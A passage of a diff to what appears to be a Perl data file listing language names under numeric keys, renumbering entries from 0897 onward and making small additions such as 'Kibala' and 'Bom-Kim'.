       ],
-   q(0897) => [
+   q(0898) => [
       q(Xingu Asurini),
       ],
-   q(0898) => [
+   q(0899) => [
       q(Dano),
       ],
-   q(0899) => [
+   q(0900) => [
       q(Algerian Sign Language),
       ],
-   q(0900) => [
+   q(0901) => [
       q(Austrian Sign Language),
       ],
-   q(0901) => [
+   q(0902) => [
       q(Asuri),
       ],
-   q(0902) => [
+   q(0903) => [
       q(Ipulo),
       ],
-   q(0903) => [
+   q(0904) => [
       q(Tocantins Asurini),
       ],
-   q(0904) => [
+   q(0905) => [
       q(Asoa),
       ],
-   q(0905) => [
+   q(0906) => [
       q(Australian Aborigines Sign Language),
       ],
-   q(0906) => [
+   q(0907) => [
       q(Muratayak),
       ],
-   q(0907) => [
+   q(0908) => [
       q(Yaosakor Asmat),
       ],
-   q(0908) => [
+   q(0909) => [
       q(As),
       ],
-   q(0909) => [
+   q(0910) => [
       q(Pele-Ata),
       ],
-   q(0910) => [
+   q(0911) => [
       q(Zaiwa),
       ],
-   q(0911) => [
+   q(0912) => [
       q(Atsahuaca),
       ],
-   q(0912) => [
+   q(0913) => [
       q(Ata Manobo),
       ],
-   q(0913) => [
+   q(0914) => [
       q(Atemble),
       ],
-   q(0914) => [
+   q(0915) => [
       q(Ivbie North-Okpela-Arhe),
       ],
-   q(0915) => [
+   q(0916) => [
       q(Attie),
       ],
-   q(0916) => [
+   q(0917) => [
       q(Atikamekw),
       ],
-   q(0917) => [
+   q(0918) => [
       q(Ati),
       ],
-   q(0918) => [
+   q(0919) => [
       q(Mt. Iraya Agta),
       ],
-   q(0919) => [
+   q(0920) => [
       q(Ata),
       ],
-   q(0920) => [
+   q(0921) => [
       q(Ashtiani),
       ],
-   q(0921) => [
+   q(0922) => [
       q(Atong (Cameroon)),
       ],
-   q(0922) => [
+   q(0923) => [
       q(Pudtol Atta),
       ],
-   q(0923) => [
+   q(0924) => [
       q(Aralle-Tabulahan),
       ],
-   q(0924) => [
+   q(0925) => [
       q(Waimiri-Atroari),
       ],
-   q(0925) => [
+   q(0926) => [
       q(Gros Ventre),
       ],
-   q(0926) => [
+   q(0927) => [
       q(Pamplona Atta),
       ],
-   q(0927) => [
+   q(0928) => [
       q(Reel),
       ],
-   q(0928) => [
+   q(0929) => [
       q(Northern Altai),
       ],
-   q(0929) => [
+   q(0930) => [
       q(Atsugewi),
       ],
-   q(0930) => [
+   q(0931) => [
       q(Arutani),
       ],
-   q(0931) => [
+   q(0932) => [
       q(Aneityum),
       ],
-   q(0932) => [
+   q(0933) => [
       q(Arta),
       ],
-   q(0933) => [
+   q(0934) => [
       q(Asumboa),
       ],
-   q(0934) => [
+   q(0935) => [
       q(Alugu),
       ],
-   q(0935) => [
+   q(0936) => [
       q(Waorani),
       ],
-   q(0936) => [
+   q(0937) => [
       q(Anuta),
       ],
-   q(0937) => [
+   q(0938) => [
       q(Aguna),
       ],
-   q(0938) => [
+   q(0939) => [
       q(Aushi),
       ],
-   q(0939) => [
+   q(0940) => [
       q(Anuki),
       ],
-   q(0940) => [
+   q(0941) => [
       q(Awjilah),
       ],
-   q(0941) => [
+   q(0942) => [
       q(Heyo),
       ],
-   q(0942) => [
+   q(0943) => [
       q(Aulua),
       ],
-   q(0943) => [
+   q(0944) => [
       q(Asu (Nigeria)),
       ],
-   q(0944) => [
+   q(0945) => [
       q(Molmo One),
       ],
-   q(0945) => [
+   q(0946) => [
       q(Auyokawa),
       ],
-   q(0946) => [
+   q(0947) => [
       q(Makayam),
       ],
-   q(0947) => [
+   q(0948) => [
       q(Anus),
       q(Korur),
       ],
-   q(0948) => [
+   q(0949) => [
       q(Aruek),
       ],
-   q(0949) => [
+   q(0950) => [
       q(Austral),
       ],
-   q(0950) => [
+   q(0951) => [
       q(Auye),
       ],
-   q(0951) => [
+   q(0952) => [
       q(Awyi),
       ],
-   q(0952) => [
+   q(0953) => [
       q(Aura),
       ],
-   q(0953) => [
+   q(0954) => [
       q(Awiyaana),
       ],
-   q(0954) => [
+   q(0955) => [
       q(Uzbeki Arabic),
       ],
-   q(0955) => [
+   q(0956) => [
       q(Avau),
       ],
-   q(0956) => [
+   q(0957) => [
       q(Alviri-Vidari),
       ],
-   q(0957) => [
+   q(0958) => [
       q(Avikam),
       ],
-   q(0958) => [
+   q(0959) => [
       q(Kotava),
       ],
-   q(0959) => [
+   q(0960) => [
       q(Eastern Egyptian Bedawi Arabic),
       ],
-   q(0960) => [
+   q(0961) => [
       q(Angkamuthi),
       ],
-   q(0961) => [
+   q(0962) => [
       q(Avatime),
       ],
-   q(0962) => [
+   q(0963) => [
       q(Agavotaguerra),
       ],
-   q(0963) => [
+   q(0964) => [
       q(Aushiri),
       ],
-   q(0964) => [
+   q(0965) => [
       q(Au),
       ],
-   q(0965) => [
+   q(0966) => [
       q(Avokaya),
       ],
-   q(0966) => [
+   q(0967) => [
       q(Ava-Canoeiro),
       ],
-   q(0967) => [
+   q(0968) => [
       q(Awa (Papua New Guinea)),
       ],
-   q(0968) => [
+   q(0969) => [
       q(Cicipu),
       ],
-   q(0969) => [
+   q(0970) => [
       q(Aweti),
       ],
-   q(0970) => [
+   q(0971) => [
       q(Anguthimri),
       ],
-   q(0971) => [
+   q(0972) => [
       q(Awbono),
       ],
-   q(0972) => [
+   q(0973) => [
       q(Aekyom),
       ],
-   q(0973) => [
+   q(0974) => [
       q(Awabakal),
       ],
-   q(0974) => [
+   q(0975) => [
       q(Arawum),
       ],
-   q(0975) => [
+   q(0976) => [
       q(Awngi),
       ],
-   q(0976) => [
+   q(0977) => [
       q(Awak),
       ],
-   q(0977) => [
+   q(0978) => [
       q(Awera),
       ],
-   q(0978) => [
+   q(0979) => [
       q(South Awyu),
       ],
-   q(0979) => [
+   q(0980) => [
       q(Arawete),
       ],
-   q(0980) => [
+   q(0981) => [
       q(Central Awyu),
       ],
-   q(0981) => [
+   q(0982) => [
       q(Jair Awyu),
       ],
-   q(0982) => [
+   q(0983) => [
       q(Awun),
       ],
-   q(0983) => [
+   q(0984) => [
       q(Awara),
       ],
-   q(0984) => [
+   q(0985) => [
       q(Edera Awyu),
       ],
-   q(0985) => [
+   q(0986) => [
       q(Abipon),
       ],
-   q(0986) => [
+   q(0987) => [
       q(Ayerrerenge),
       ],
-   q(0987) => [
+   q(0988) => [
       q(Mato Grosso Arara),
       ],
-   q(0988) => [
+   q(0989) => [
       q(Yaka (Central African Republic)),
       ],
-   q(0989) => [
+   q(0990) => [
       q(Lower Southern Aranda),
       ],
-   q(0990) => [
+   q(0991) => [
       q(Middle Armenian),
       ],
-   q(0991) => [
+   q(0992) => [
       q(Xaragure),
       ],
-   q(0992) => [
+   q(0993) => [
       q(Awar),
       ],
-   q(0993) => [
+   q(0994) => [
       q(Ayizo Gbe),
       ],
-   q(0994) => [
+   q(0995) => [
       q(Southern Aymara),
       ],
-   q(0995) => [
+   q(0996) => [
       q(Ayabadhu),
       ],
-   q(0996) => [
+   q(0997) => [
       q(Ayere),
       ],
-   q(0997) => [
+   q(0998) => [
       q(Ginyanga),
       ],
-   q(0998) => [
+   q(0999) => [
       q(Hadrami Arabic),
       ],
-   q(0999) => [
+   q(1000) => [
       q(Leyigha),
       ],
-   q(1000) => [
+   q(1001) => [
       q(Akuku),
       ],
-   q(1001) => [
+   q(1002) => [
       q(Libyan Arabic),
       ],
-   q(1002) => [
+   q(1003) => [
       q(Sanaani Arabic),
       ],
-   q(1003) => [
+   q(1004) => [
       q(Ayoreo),
       ],
-   q(1004) => [
+   q(1005) => [
       q(North Mesopotamian Arabic),
       ],
-   q(1005) => [
+   q(1006) => [
       q(Ayi (Papua New Guinea)),
       ],
-   q(1006) => [
+   q(1007) => [
       q(Central Aymara),
       ],
-   q(1007) => [
+   q(1008) => [
       q(Sorsogon Ayta),
       ],
-   q(1008) => [
+   q(1009) => [
       q(Magbukun Ayta),
       ],
-   q(1009) => [
+   q(1010) => [
       q(Ayu),
       ],
-   q(1010) => [
+   q(1011) => [
       q(Tayabas Ayta),
       ],
-   q(1011) => [
+   q(1012) => [
       q(Mai Brat),
       ],
-   q(1012) => [
+   q(1013) => [
       q(Azha),
       ],
-   q(1013) => [
+   q(1014) => [
       q(South Azerbaijani),
       ],
-   q(1014) => [
+   q(1015) => [
       q(Eastern Durango Nahuatl),
       ],
-   q(1015) => [
+   q(1016) => [
       q(San Pedro Amuzgos Amuzgo),
       ],
-   q(1016) => [
+   q(1017) => [
       q(North Azerbaijani),
       ],
-   q(1017) => [
+   q(1018) => [
       q(Ipalapa Amuzgo),
       ],
-   q(1018) => [
+   q(1019) => [
       q(Western Durango Nahuatl),
       ],
-   q(1019) => [
+   q(1020) => [
       q(Awing),
       ],
-   q(1020) => [
+   q(1021) => [
       q(Faire Atta),
       ],
-   q(1021) => [
+   q(1022) => [
       q(Highland Puebla Nahuatl),
       ],
-   q(1022) => [
+   q(1023) => [
       q(Babatana),
       ],
-   q(1023) => [
+   q(1024) => [
       q(Bainouk-Gunyuno),
       ],
-   q(1024) => [
+   q(1025) => [
       q(Badui),
       ],
-   q(1025) => [
+   q(1026) => [
       q(Bare),
       ],
-   q(1026) => [
+   q(1027) => [
       q(Nubaca),
       ],
-   q(1027) => [
+   q(1028) => [
       q(Tuki),
       ],
-   q(1028) => [
+   q(1029) => [
       q(Bahamas Creole English),
       ],
-   q(1029) => [
+   q(1030) => [
       q(Barakai),
       ],
-   q(1030) => [
+   q(1031) => [
       q(Waimaha),
       ],
-   q(1031) => [
+   q(1032) => [
       q(Bantawa),
       ],
-   q(1032) => [
+   q(1033) => [
       q(Bavarian),
       ],
-   q(1033) => [
+   q(1034) => [
       q(Bada (Nigeria)),
       ],
-   q(1034) => [
+   q(1035) => [
       q(Vengo),
       ],
-   q(1035) => [
+   q(1036) => [
       q(Bambili-Bambui),
       ],
-   q(1036) => [
+   q(1037) => [
       q(Bamun),
       ],
-   q(1037) => [
+   q(1038) => [
       q(Batuley),
       ],
-   q(1038) => [
+   q(1039) => [
       q(Baatonum),
       ],
-   q(1039) => [
+   q(1040) => [
       q(Barai),
       ],
-   q(1040) => [
+   q(1041) => [
       q(Batak Toba),
       ],
-   q(1041) => [
+   q(1042) => [
       q(Bau),
       ],
-   q(1042) => [
+   q(1043) => [
       q(Bangba),
       ],
-   q(1043) => [
+   q(1044) => [
       q(Baibai),
       ],
-   q(1044) => [
+   q(1045) => [
       q(Barama),
       ],
-   q(1045) => [
+   q(1046) => [
       q(Bugan),
       ],
-   q(1046) => [
+   q(1047) => [
       q(Barombi),
       ],
-   q(1047) => [
+   q(1048) => [
       q(Ghomala'),
       ],
-   q(1048) => [
+   q(1049) => [
       q(Babanki),
       ],
-   q(1049) => [
+   q(1050) => [
       q(Bats),
       ],
-   q(1050) => [
+   q(1051) => [
       q(Babango),
       ],
-   q(1051) => [
+   q(1052) => [
       q(Uneapa),
       ],
-   q(1052) => [
+   q(1053) => [
       q(Northern Bobo Madare),
       q(Konabere),
       ],
-   q(1053) => [
+   q(1054) => [
       q(West Central Banda),
       ],
-   q(1054) => [
+   q(1055) => [
       q(Bamali),
       ],
-   q(1055) => [
+   q(1056) => [
       q(Girawa),
       ],
-   q(1056) => [
+   q(1057) => [
       q(Bakpinka),
       ],
-   q(1057) => [
+   q(1058) => [
       q(Mburku),
       ],
-   q(1058) => [
+   q(1059) => [
       q(Kulung (Nigeria)),
       ],
-   q(1059) => [
+   q(1060) => [
       q(Karnai),
       ],
-   q(1060) => [
+   q(1061) => [
       q(Baba),
       ],
-   q(1061) => [
+   q(1062) => [
       q(Bubia),
       ],
-   q(1062) => [
+   q(1063) => [
       q(Befang),
       ],
-   q(1063) => [
+   q(1064) => [
       q(Babalia Creole Arabic),
       ],
-   q(1064) => [
+   q(1065) => [
       q(Central Bai),
       ],
-   q(1065) => [
+   q(1066) => [
       q(Bainouk-Samik),
       ],
-   q(1066) => [
+   q(1067) => [
       q(Southern Balochi),
       ],
-   q(1067) => [
+   q(1068) => [
       q(North Babar),
       ],
-   q(1068) => [
+   q(1069) => [
       q(Bamenyam),
       ],
-   q(1069) => [
+   q(1070) => [
       q(Bamu),
       ],
-   q(1070) => [
+   q(1071) => [
       q(Baga Pokur),
       ],
-   q(1071) => [
+   q(1072) => [
       q(Bariai),
       ],
-   q(1072) => [
+   q(1073) => [
       q(Baoule),
       ],
-   q(1073) => [
+   q(1074) => [
       q(Bardi),
       ],
-   q(1074) => [
+   q(1075) => [
       q(Bunaba),
       ],
-   q(1075) => [
+   q(1076) => [
       q(Central Bikol),
       ],
-   q(1076) => [
+   q(1077) => [
       q(Bannoni),
       ],
-   q(1077) => [
+   q(1078) => [
       q(Bali (Nigeria)),
       ],
-   q(1078) => [
+   q(1079) => [
       q(Kaluli),
       ],
-   q(1079) => [
+   q(1080) => [
       q(Bali (Democratic Republic of Congo)),
       ],
-   q(1080) => [
+   q(1081) => [
       q(Bench),
       ],
-   q(1081) => [
+   q(1082) => [
       q(Babine),
       ],
-   q(1082) => [
+   q(1083) => [
       q(Kohumono),
       ],
-   q(1083) => [
+   q(1084) => [
       q(Bendi),
       ],
-   q(1084) => [
+   q(1085) => [
       q(Awad Bing),
       ],
-   q(1085) => [
+   q(1086) => [
       q(Shoo-Minda-Nye),
       ],
-   q(1086) => [
+   q(1087) => [
       q(Bana),
       ],
-   q(1087) => [
+   q(1088) => [
       q(Bacama),
       ],
-   q(1088) => [
+   q(1089) => [
       q(Bainouk-Gunyaamolo),
       ],
-   q(1089) => [
+   q(1090) => [
       q(Bayot),
       ],
-   q(1090) => [
+   q(1091) => [
       q(Basap),
       ],
-   q(1091) => [
+   q(1092) => [
       q(Embera-Baudo),
       ],
-   q(1092) => [
+   q(1093) => [
       q(Bunama),
       ],
-   q(1093) => [
+   q(1094) => [
       q(Bade),
       ],
-   q(1094) => [
+   q(1095) => [
       q(Biage),
       ],
-   q(1095) => [
+   q(1096) => [
       q(Bonggi),
       ],
-   q(1096) => [
+   q(1097) => [
       q(Baka (Sudan)),
       ],
-   q(1097) => [
+   q(1098) => [
       q(Burun),
       ],
-   q(1098) => [
+   q(1099) => [
       q(Bai),
       ],
-   q(1099) => [
+   q(1100) => [
       q(Budukh),
       ],
-   q(1100) => [
+   q(1101) => [
       q(Indonesian Bajau),
       ],
-   q(1101) => [
+   q(1102) => [
       q(Buduma),
       ],
-   q(1102) => [
+   q(1103) => [
       q(Baldemu),
       ],
-   q(1103) => [
+   q(1104) => [
       q(Morom),
       ],
-   q(1104) => [
+   q(1105) => [
       q(Bende),
       ],
-   q(1105) => [
+   q(1106) => [
       q(Bahnar),
       ],
-   q(1106) => [
+   q(1107) => [
       q(West Coast Bajau),
       ],
-   q(1107) => [
+   q(1108) => [
       q(Burunge),
       ],
-   q(1108) => [
+   q(1109) => [
       q(Bokoto),
       ],
-   q(1109) => [
+   q(1110) => [
       q(Oroko),
       ],
-   q(1110) => [
+   q(1111) => [
       q(Bodo Parja),
       ],
-   q(1111) => [
+   q(1112) => [
       q(Baham),
       ],
-   q(1112) => [
+   q(1113) => [
       q(Budong-Budong),
       ],
-   q(1113) => [
+   q(1114) => [
       q(Bandjalang),
       ],
-   q(1114) => [
+   q(1115) => [
       q(Badeshi),
       ],
-   q(1115) => [
+   q(1116) => [
       q(Beaver),
       ],
-   q(1116) => [
+   q(1117) => [
       q(Bebele),
       ],
-   q(1117) => [
+   q(1118) => [
       q(Iceve-Maci),
       ],
-   q(1118) => [
+   q(1119) => [
       q(Bedoanas),
       ],
-   q(1119) => [
+   q(1120) => [
       q(Byangsi),
       ],
-   q(1120) => [
+   q(1121) => [
       q(Benabena),
       ],
-   q(1121) => [
+   q(1122) => [
       q(Belait),
       ],
-   q(1122) => [
+   q(1123) => [
       q(Biali),
       ],
-   q(1123) => [
+   q(1124) => [
       q(Bekati'),
       ],
-   q(1124) => [
+   q(1125) => [
       q(Bebeli),
       ],
-   q(1125) => [
+   q(1126) => [
       q(Beami),
       ],
-   q(1126) => [
+   q(1127) => [
       q(Besoa),
       ],
-   q(1127) => [
+   q(1128) => [
       q(Beembe),
       ],
-   q(1128) => [
+   q(1129) => [
       q(Besme),
       ],
-   q(1129) => [
+   q(1130) => [
       q(Guiberoua Bete),
       ],
-   q(1130) => [
+   q(1131) => [
       q(Blagar),
       ],
-   q(1131) => [
+   q(1132) => [
       q(Daloa Bete),
       ],
-   q(1132) => [
+   q(1133) => [
       q(Betawi),
       ],
-   q(1133) => [
+   q(1134) => [
       q(Jur Modo),
       ],
-   q(1134) => [
+   q(1135) => [
       q(Beli (Papua New Guinea)),
       ],
-   q(1135) => [
+   q(1136) => [
       q(Bena (Tanzania)),
       ],
-   q(1136) => [
+   q(1137) => [
       q(Bari),
       ],
-   q(1137) => [
+   q(1138) => [
       q(Pauri Bareli),
       ],
-   q(1138) => [
+   q(1139) => [
       q(Panyi Bai),
       q(Northern Bai),
       ],
-   q(1139) => [
+   q(1140) => [
       q(Bafut),
       ],
-   q(1140) => [
+   q(1141) => [
       q(Betaf),
       q(Tena),
       ],
-   q(1141) => [
+   q(1142) => [
       q(Bofi),
       ],
-   q(1142) => [
+   q(1143) => [
       q(Busang Kayan),
       ],
-   q(1143) => [
+   q(1144) => [
       q(Blafe),
       ],
-   q(1144) => [
+   q(1145) => [
       q(British Sign Language),
       ],
-   q(1145) => [
+   q(1146) => [
       q(Bafanji),
       ],
-   q(1146) => [
+   q(1147) => [
       q(Ban Khor Sign Language),
       ],
-   q(1147) => [
+   q(1148) => [
       q(Banda-Ndele),
       ],
-   q(1148) => [
+   q(1149) => [
       q(Mmen),
       ],
-   q(1149) => [
+   q(1150) => [
       q(Bunak),
       ],
-   q(1150) => [
+   q(1151) => [
       q(Malba Birifor),
       ],
-   q(1151) => [
+   q(1152) => [
       q(Beba),
       ],
-   q(1152) => [
+   q(1153) => [
       q(Badaga),
       ],
-   q(1153) => [
+   q(1154) => [
       q(Bazigar),
       ],
-   q(1154) => [
+   q(1155) => [
       q(Southern Bai),
       ],
-   q(1155) => [
+   q(1156) => [
       q(Balti),
       ],
-   q(1156) => [
+   q(1157) => [
       q(Gahri),
       ],
-   q(1157) => [
+   q(1158) => [
       q(Bondo),
       ],
-   q(1158) => [
+   q(1159) => [
       q(Bantayanon),
       ],
-   q(1159) => [
+   q(1160) => [
       q(Bagheli),
       ],
-   q(1160) => [
+   q(1161) => [
       q(Mahasu Pahari),
       ],
-   q(1161) => [
+   q(1162) => [
       q(Gwamhi-Wuri),
       ],
-   q(1162) => [
+   q(1163) => [
       q(Bobongko),
       ],
-   q(1163) => [
+   q(1164) => [
       q(Haryanvi),
       ],
-   q(1164) => [
+   q(1165) => [
       q(Rathwi Bareli),
       ],
-   q(1165) => [
+   q(1166) => [
       q(Bauria),
       ],
-   q(1166) => [
+   q(1167) => [
       q(Bangandu),
       ],
-   q(1167) => [
+   q(1168) => [
       q(Bugun),
       ],
-   q(1168) => [
+   q(1169) => [
       q(Giangan),
       ],
-   q(1169) => [
+   q(1170) => [
       q(Bangolan),
       ],
-   q(1170) => [
+   q(1171) => [
       q(Bit),
       q(Buxinhua),
       ],
-   q(1171) => [
+   q(1172) => [
       q(Bo (Laos)),
       ],
-   q(1172) => [
+   q(1173) => [
       q(Western Balochi),
       ],
-   q(1173) => [
+   q(1174) => [
       q(Baga Koga),
       ],
-   q(1174) => [
+   q(1175) => [
       q(Eastern Balochi),
       ],
-   q(1175) => [
+   q(1176) => [
       q(Bagri),
       ],
-   q(1176) => [
+   q(1177) => [
       q(Bawm Chin),
       ],
-   q(1177) => [
+   q(1178) => [
       q(Tagabawa),
       ],
-   q(1178) => [
+   q(1179) => [
       q(Bughotu),
       ],
-   q(1179) => [
+   q(1180) => [
       q(Mbongno),
       ],
-   q(1180) => [
+   q(1181) => [
       q(Warkay-Bipim),
       ],
-   q(1181) => [
+   q(1182) => [
       q(Bhatri),
       ],
-   q(1182) => [
+   q(1183) => [
       q(Balkan Gagauz Turkish),
       ],
-   q(1183) => [
+   q(1184) => [
       q(Benggoi),
       ],
-   q(1184) => [
+   q(1185) => [
       q(Banggai),
       ],
-   q(1185) => [
+   q(1186) => [
       q(Bharia),
       ],
-   q(1186) => [
+   q(1187) => [
       q(Bhili),
       ],
-   q(1187) => [
+   q(1188) => [
       q(Biga),
       ],
-   q(1188) => [
+   q(1189) => [
       q(Bhadrawahi),
       ],
-   q(1189) => [
+   q(1190) => [
       q(Bhaya),
       ],
-   q(1190) => [
+   q(1191) => [
       q(Odiai),
       ],
-   q(1191) => [
+   q(1192) => [
       q(Binandere),
       ],
-   q(1192) => [
+   q(1193) => [
       q(Bukharic),
       ],
-   q(1193) => [
+   q(1194) => [
       q(Bhilali),
       ],
-   q(1194) => [
+   q(1195) => [
       q(Bahing),
       ],
-   q(1195) => [
+   q(1196) => [
       q(Bimin),
       ],
-   q(1196) => [
+   q(1197) => [
       q(Bathari),
       ],
-   q(1197) => [
+   q(1198) => [
       q(Bohtan Neo-Aramaic),
       ],
-   q(1198) => [
+   q(1199) => [
       q(Bima),
       ],
-   q(1199) => [
+   q(1200) => [
       q(Tukang Besi South),
       ],
-   q(1200) => [
+   q(1201) => [
       q(Bara Malagasy),
       ],
-   q(1201) => [
+   q(1202) => [
       q(Buwal),
       ],
-   q(1202) => [
+   q(1203) => [
       q(Bhattiyali),
       ],
-   q(1203) => [
+   q(1204) => [
       q(Bhunjia),
       ],
-   q(1204) => [
+   q(1205) => [
       q(Bahau),
       ],
-   q(1205) => [
+   q(1206) => [
       q(Biak),
       ],
-   q(1206) => [
+   q(1207) => [
       q(Bhalay),
       ],
-   q(1207) => [
+   q(1208) => [
       q(Bhele),
       ],
-   q(1208) => [
+   q(1209) => [
       q(Bada (Indonesia)),
       ],
-   q(1209) => [
+   q(1210) => [
       q(Badimaya),
       ],
-   q(1210) => [
+   q(1211) => [
       q(Bissa),
       q(Bisa),
       ],
-   q(1211) => [
+   q(1212) => [
       q(Bikaru),
       ],
-   q(1212) => [
+   q(1213) => [
       q(Bidiyo),
       ],
-   q(1213) => [
+   q(1214) => [
       q(Bepour),
       ],
-   q(1214) => [
+   q(1215) => [
       q(Biafada),
       ],
-   q(1215) => [
+   q(1216) => [
       q(Biangai),
       ],
-   q(1216) => [
+   q(1217) => [
       q(Vaghat-Ya-Bijim-Legeri),
       ],
-   q(1217) => [
+   q(1218) => [
       q(Bile),
       ],
-   q(1218) => [
+   q(1219) => [
       q(Bimoba),
       ],
-   q(1219) => [
+   q(1220) => [
       q(Nai),
       ],
-   q(1220) => [
+   q(1221) => [
       q(Bila),
       ],
-   q(1221) => [
+   q(1222) => [
       q(Bipi),
       ],
-   q(1222) => [
+   q(1223) => [
       q(Bisorio),
       ],
-   q(1223) => [
+   q(1224) => [
       q(Berinomo),
       ],
-   q(1224) => [
+   q(1225) => [
       q(Biete),
       ],
-   q(1225) => [
+   q(1226) => [
       q(Southern Birifor),
       ],
-   q(1226) => [
+   q(1227) => [
       q(Kol (Cameroon)),
       ],
-   q(1227) => [
+   q(1228) => [
       q(Bijori),
       ],
-   q(1228) => [
+   q(1229) => [
       q(Birhor),
       ],
-   q(1229) => [
+   q(1230) => [
       q(Baloi),
       ],
-   q(1230) => [
+   q(1231) => [
       q(Budza),
       ],
-   q(1231) => [
+   q(1232) => [
       q(Banggarla),
       ],
-   q(1232) => [
+   q(1233) => [
       q(Bariji),
       ],
-   q(1233) => [
+   q(1234) => [
       q(Biao-Jiao Mien),
       ],
-   q(1234) => [
+   q(1235) => [
       q(Barzani Jewish Neo-Aramaic),
       ],
-   q(1235) => [
+   q(1236) => [
       q(Bidyogo),
       ],
-   q(1236) => [
+   q(1237) => [
       q(Bahinemo),
       ],
-   q(1237) => [
+   q(1238) => [
       q(Burji),
       ],
-   q(1238) => [
+   q(1239) => [
       q(Kanauji),
       ],
-   q(1239) => [
+   q(1240) => [
       q(Barok),
       ],
-   q(1240) => [
+   q(1241) => [
       q(Bulu (Papua New Guinea)),
       ],
-   q(1241) => [
+   q(1242) => [
       q(Bajelani),
       ],
-   q(1242) => [
+   q(1243) => [
       q(Banjar),
       ],
-   q(1243) => [
+   q(1244) => [
       q(Mid-Southern Banda),
       ],
-   q(1244) => [
+   q(1245) => [
       q(Fanamaket),
       ],
-   q(1245) => [
+   q(1246) => [
       q(Binumarien),
       ],
-   q(1246) => [
+   q(1247) => [
       q(Bajan),
       ],
-   q(1247) => [
+   q(1248) => [
       q(Balanta-Ganja),
       ],
-   q(1248) => [
+   q(1249) => [
       q(Busuu),
       ],
-   q(1249) => [
+   q(1250) => [
       q(Bedjond),
       ],
-   q(1250) => [
+   q(1251) => [
       q(Bakwe),
       ],
-   q(1251) => [
+   q(1252) => [
       q(Banao Itneg),
       ],
-   q(1252) => [
+   q(1253) => [
       q(Bayali),
       ],
-   q(1253) => [
+   q(1254) => [
       q(Baruga),
       ],
-   q(1254) => [
+   q(1255) => [
       q(Kyak),
       ],
-   q(1255) => [
+   q(1256) => [
       q(Baka (Cameroon)),
       ],
-   q(1256) => [
+   q(1257) => [
       q(Binukid),
       q(Talaandig),
       ],
-   q(1257) => [
+   q(1258) => [
       q(Beeke),
       ],
-   q(1258) => [
+   q(1259) => [
       q(Buraka),
       ],
-   q(1259) => [
+   q(1260) => [
       q(Bakoko),
       ],
-   q(1260) => [
+   q(1261) => [
       q(Baki),
       ],
-   q(1261) => [
+   q(1262) => [
       q(Pande),
       ],
-   q(1262) => [
+   q(1263) => [
       q(Brokskat),
       ],
-   q(1263) => [
+   q(1264) => [
       q(Berik),
       ],
-   q(1264) => [
+   q(1265) => [
       q(Kom (Cameroon)),
       ],
-   q(1265) => [
+   q(1266) => [
       q(Bukitan),
       ],
-   q(1266) => [
+   q(1267) => [
       q(Kwa'),
       ],
-   q(1267) => [
+   q(1268) => [
       q(Boko (Democratic Republic of Congo)),
       ],
-   q(1268) => [
+   q(1269) => [
       q(Bakairi),
       ],
-   q(1269) => [
+   q(1270) => [
       q(Bakumpai),
       ],
-   q(1270) => [
+   q(1271) => [
       q(Northern Sorsoganon),
       ],
-   q(1271) => [
+   q(1272) => [
       q(Boloki),
       ],
-   q(1272) => [
+   q(1273) => [
       q(Buhid),
       ],
-   q(1273) => [
+   q(1274) => [
       q(Bekwarra),
       ],
-   q(1274) => [
+   q(1275) => [
       q(Bekwel),
       ],
-   q(1275) => [
+   q(1276) => [
       q(Baikeno),
       ],
-   q(1276) => [
+   q(1277) => [
       q(Bokyi),
       ],
-   q(1277) => [
+   q(1278) => [
       q(Bungku),
       ],
-   q(1278) => [
+   q(1279) => [
       q(Bilua),
       ],
-   q(1279) => [
+   q(1280) => [
       q(Bella Coola),
       ],
-   q(1280) => [
+   q(1281) => [
       q(Bolango),
       ],
-   q(1281) => [
+   q(1282) => [
       q(Balanta-Kentohe),
       ],
-   q(1282) => [
+   q(1283) => [
       q(Buol),
       ],
-   q(1283) => [
+   q(1284) => [
       q(Balau),
       ],
-   q(1284) => [
+   q(1285) => [
       q(Kuwaa),
       ],
-   q(1285) => [
+   q(1286) => [
       q(Bolia),
       ],
-   q(1286) => [
+   q(1287) => [
       q(Bolongan),
       ],
-   q(1287) => [
+   q(1288) => [
       q(Pa'o Karen),
       q(Pa'O),
       ],
-   q(1288) => [
+   q(1289) => [
       q(Biloxi),
       ],
-   q(1289) => [
+   q(1290) => [
       q(Beli (Sudan)),
       ],
-   q(1290) => [
+   q(1291) => [
       q(Southern Catanduanes Bikol),
       ],
-   q(1291) => [
+   q(1292) => [
       q(Anii),
       ],
-   q(1292) => [
+   q(1293) => [
       q(Blablanga),
       ],
-   q(1293) => [
+   q(1294) => [
       q(Baluan-Pam),
       ],
-   q(1294) => [
+   q(1295) => [
       q(Blang),
       ],
-   q(1295) => [
+   q(1296) => [
       q(Balaesang),
       ],
-   q(1296) => [
+   q(1297) => [
       q(Tai Dam),
       ],
-   q(1297) => [
+   q(1298) => [
+      q(Kibala),
       q(Bolo),
       ],
-   q(1298) => [
+   q(1299) => [
       q(Balangao),
       ],
-   q(1299) => [
+   q(1300) => [
       q(Mag-Indi Ayta),
       ],
-   q(1300) => [
+   q(1301) => [
       q(Notre),
       ],
-   q(1301) => [
+   q(1302) => [
       q(Balantak),
       ],
-   q(1302) => [
+   q(1303) => [
       q(Lame),
       ],
-   q(1303) => [
+   q(1304) => [
       q(Bembe),
       ],
-   q(1304) => [
+   q(1305) => [
       q(Biem),
       ],
-   q(1305) => [
+   q(1306) => [
       q(Baga Manduri),
       ],
-   q(1306) => [
+   q(1307) => [
       q(Limassa),
       ],
-   q(1307) => [
-      q(Bom),
+   q(1308) => [
+      q(Bom-Kim),
       ],
-   q(1308) => [
+   q(1309) => [
       q(Bamwe),
       ],
-   q(1309) => [
+   q(1310) => [
       q(Kein),
       ],
-   q(1310) => [
+   q(1311) => [
       q(Bagirmi),
       ],
-   q(1311) => [
+   q(1312) => [
       q(Bote-Majhi),
       ],
-   q(1312) => [
+   q(1313) => [
       q(Ghayavi),
       ],
-   q(1313) => [
+   q(1314) => [
       q(Bomboli),
       ],
-   q(1314) => [
+   q(1315) => [
       q(Northern Betsimisaraka Malagasy),
       ],
-   q(1315) => [
+   q(1316) => [
       q(Bina (Papua New Guinea)),
       ],
-   q(1316) => [
+   q(1317) => [
       q(Bambalang),
       ],
-   q(1317) => [
+   q(1318) => [
       q(Bulgebi),
       ],
-   q(1318) => [
+   q(1319) => [
       q(Bomu),
       ],
-   q(1319) => [
+   q(1320) => [
       q(Muinane),
       ],
-   q(1320) => [
+   q(1321) => [
       q(Bilma Kanuri),
       ],
-   q(1321) => [
+   q(1322) => [
       q(Biao Mon),
       ],
-   q(1322) => [
+   q(1323) => [
       q(Somba-Siawari),
       ],
-   q(1323) => [
+   q(1324) => [
       q(Bum),
       ],
-   q(1324) => [
